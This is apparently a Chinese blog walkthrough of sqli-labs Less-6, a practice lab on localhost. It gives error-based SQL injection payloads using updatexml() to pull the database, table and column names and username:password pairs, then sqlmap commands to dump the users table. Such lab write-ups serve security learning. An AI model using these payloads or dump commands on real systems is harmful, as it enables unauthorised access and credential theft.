sqli-labs:Less-6关卡详细解析
1. 思路🚀
本关的SQL语句为:
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
- 注入类型:字符串型(双引号包裹)
- 提示:参数id需以
"
闭合
同样无法像常规一样回显,php
输出语句的代码如下:
if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}
对于很多注入出现无回显的情况,其原因可能是SQL语句查询方式的问题导致,这就需要用到盲注的手段,常用的有:
- 布尔盲注:逻辑判断
- 时间盲注:延时判断
- 报错盲注:报错回显(本关卡解决方法)✅
2. 手工注入步骤🎯
我的地址栏是:http://localhost:8081/Less-6/
,只需要将下面的sql语句粘贴即可。
2.1. 正常请求⚡
?id=1
说明:测试回显情况
2.2. 判断字段数⚡
?id=1" order by 4 --+
order by 4
:探测字段数(报错说明字段数=3)
2.3. 确定回显位⚡
?id=1" and updatexml(1,(select database()),3) --+
updatexml
是 MySQL 的一个 XML 处理函数,但它常被用于 报错注入(Error-Based Blind SQL Injection),因为它会在 XPath 解析错误时返回错误信息,从而泄露数据。
2.4. 获取基础信息
?id=1" and updatexml(1,concat(1,(select database())),3) --+
2.5. 获取表名⚡
?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) --+
2.6. 获取字段⚡
?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) --+
2.7. 获取数据⚡
?id=1" and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) --+
因为updatexml()
函数最多显示32位数据,建议使用concat()
搭配limit + offset
使用,例如limit n,1
,n为起始位置。
2.8. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
" | 闭合符号 | id=1" |
--+ | 注释符 | --+ |
order by | 判断字段数 | order by 4 |
updatexml() | 报错注入函数 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
group_concat() | 合并结果 | group_concat(table_name) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. SQLMap工具测试🎯
url
地址换成自己的,后面一定要加上id=1
,比如:http://localhost:8081/Less-6/?id=1
# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-6/?id=1" --batch# 爆数据库
python sqlmap.py -u "url" --dbs --batch# 爆表名
python sqlmap.py -u "url" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch
命令1截图:
命令5截图:
SQLMap参数表⭐
参数 | 功能 |
---|---|
--batch | 非交互模式 |
--dbs | 枚举数据库 |
-D | 指定数据库 |
-T | 指定表 |
-C | 指定列 |
--dump | 导出数据 |
4. 总结🏁
关卡6和关卡5其解法一致,建议移步到关卡5的解析(该解析较为详细),sqli-labs:Less-5关卡详细解析:
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
如有不懂,关卡1的解析更为详细(更为基础),相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗